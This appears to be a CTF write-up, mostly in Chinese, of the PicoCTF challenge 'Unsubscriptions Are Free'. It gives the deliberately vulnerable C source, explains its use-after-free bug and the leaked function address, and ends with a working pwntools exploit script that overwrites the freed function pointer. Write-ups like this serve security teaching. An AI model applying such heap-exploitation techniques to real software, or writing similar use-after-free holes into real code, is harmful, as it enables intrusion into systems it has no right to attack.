---
# System prepended metadata

title: PicoCTF - Unsubscriptions Are Free
tags: [PicoCTF, PWN, CTF]

---

# PicoCTF - Unsubscriptions Are Free
## Background
Heap Exploitation / Used After Free
## Source code
:::spoiler Source Code
```cpp
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>

#define FLAG_BUFFER 200
#define LINE_BUFFER_SIZE 20


typedef struct {
	uintptr_t (*whatToDo)();
	char *username;
} cmd;

char choice;
cmd *user;

void hahaexploitgobrrr(){
 	char buf[FLAG_BUFFER];
 	FILE *f = fopen("flag.txt","r");
 	fgets(buf,FLAG_BUFFER,f);
 	fprintf(stdout,"%s\n",buf);
 	fflush(stdout);
}

char * getsline(void) {
	getchar();
	char * line = malloc(100), * linep = line;
	size_t lenmax = 100, len = lenmax;
	int c;
	if(line == NULL)
		return NULL;
	for(;;) {
		c = fgetc(stdin);
		if(c == EOF)
			break;
		if(--len == 0) {
			len = lenmax;
			char * linen = realloc(linep, lenmax *= 2);

			if(linen == NULL) {
				free(linep);
				return NULL;
			}
			line = linen + (line - linep);
			linep = linen;
		}

		if((*line++ = c) == '\n')
			break;
	}
	*line = '\0';
	return linep;
}

void doProcess(cmd* obj) {
	(*obj->whatToDo)();
}

void s(){
 	printf("OOP! Memory leak...%p\n",hahaexploitgobrrr);
 	puts("Thanks for subsribing! I really recommend becoming a premium member!");
}

void p(){
  	puts("Membership pending... (There's also a super-subscription you can also get for twice the price!)");
}

void m(){
	puts("Account created.");
}

void leaveMessage(){
	puts("I only read premium member messages but you can ");
	puts("try anyways:");
	char* msg = (char*)malloc(8);
	read(0, msg, 8);
}

void i(){
	char response;
  	puts("You're leaving already(Y/N)?");
	scanf(" %c", &response);
	if(toupper(response)=='Y'){
		puts("Bye!");
		free(user);
	}else{
		puts("Ok. Get premium membership please!");
	}
}

void printMenu(){
 	puts("Welcome to my stream! ^W^");
 	puts("==========================");
 	puts("(S)ubscribe to my channel");
 	puts("(I)nquire about account deletion");
 	puts("(M)ake an Twixer account");
 	puts("(P)ay for premium membership");
	puts("(l)eave a message(with or without logging in)");
	puts("(e)xit");
}

void processInput(){
  scanf(" %c", &choice);
  choice = toupper(choice);
  switch(choice){
	case 'S':
	if(user){
 		user->whatToDo = (void*)s;
	}else{
		puts("Not logged in!");
	}
	break;
	case 'P':
	user->whatToDo = (void*)p;
	break;
	case 'I':
 	user->whatToDo = (void*)i;
	break;
	case 'M':
 	user->whatToDo = (void*)m;
	puts("===========================");
	puts("Registration: Welcome to Twixer!");
	puts("Enter your username: ");
	user->username = getsline();
	break;
   case 'L':
	leaveMessage();
	break;
	case 'E':
	exit(0);
	default:
	puts("Invalid option!");
	exit(1);
	  break;
  }
}

int main(){
	setbuf(stdout, NULL);
	user = (cmd *)malloc(sizeof(user));
	while(1){
		printMenu();
		processInput();
		//if(user){
			doProcess(user);
		//}
	}
	return 0;
}

```
:::
## Recon
這題該怎麼說呢，有點像是被設計好的問題
1. 首先觀察整體的file
    ```bash
    $ file vuln
    vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=89699d062dc4f47448ba7c5c03105267c060ce30, not stripped
    $ checksec vuln
    [*] '/mnt/d/NTU/CTF/PicoCTF/PWN/Unsubscriptions Are Free/vuln'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    ```
    保護機制雖然沒有全開，不過應該是一個heap題
2. source code有一個`hahaexploitgobrrr` function，是print出flag的function所以我們的目標很明確，就是要想辦法踩到這個function，而`s()`/`p()`/`m()`都是無用的資訊
3. 遇到這種heap的題目，我會先看哪裡有malloc和free，確保幾個簡單的exploitation的可能性，例如uaf或double free之類的，而i function有一個free，是要註銷帳號的功能，但是main function中的`doProcess(user);`卻持續使用user這個變數，所以這個就是一個典型的UAF漏洞(我也是看了別人的WP[^uaf_wp_martin][^uaf_wp_Dvd848]後才知道他的題目已經有提示了，一開始是我想的太複雜了)，試想如果一開始我先輸入`i`，讓程式`free(user)`，接著他就會執行`doProcess(user)`也就是user指向的function pointer，如果我們可以拿到被free掉的user這個chunk然後輸入`hahaexploitgobrrr`這個function的address，那我們就可以拿到flag了
4. 所以重點來了，要怎麼拿到被free掉的chunk呢?這個程式==也很好心的==幫我們實作了`leaveMessage`這個function，他會malloc 8 bytes，其實就剛好是user的大小，所以如果要拿8 bytes的chunk他會先到Tcache搜尋，然後給我們寫一些資訊，此時我們就可以寫上`hahaexploitgobrrr`這個function的address(address的資訊可以透過`s` function得知)
5. 綜合以上資訊可以開寫script

## Exploit
```python
from pwn import *

r = process('./vuln')
# r = remote('mercury.picoctf.net', 61817)

r.recvuntil(b'(e)xit\n')
r.sendline(b'i')
r.recvuntil(b"You're leaving already(Y/N)?\n")
r.sendline(b'Y')

r.recvuntil(b'(e)xit\n')
r.sendline(b's')
r.recvuntil(b'OOP! Memory leak...0x')
hahaexploitgobrrr_addr = int(str(r.recv(7))[2:-1], 16)
success(hahaexploitgobrrr_addr)

r.recvuntil(b'(e)xit\n')
r.sendline(b'l')
r.recvuntil(b'try anyways:\n')
raw_input()
r.sendline(p64(hahaexploitgobrrr_addr))

success(f'Flag: {r.recvline().strip().decode()}')

r.close()
```
## Reference
[^uaf_wp_martin]:[ picoCTF 2021 Unsubscriptions Are Free ](https://youtu.be/ffJRcNEyApI)
[^uaf_wp_Dvd848]:[Unsubscriptions Are Free WP](https://github.com/Dvd848/CTFs/blob/master/2021_picoCTF/Unsubscriptions_Are_Free.md)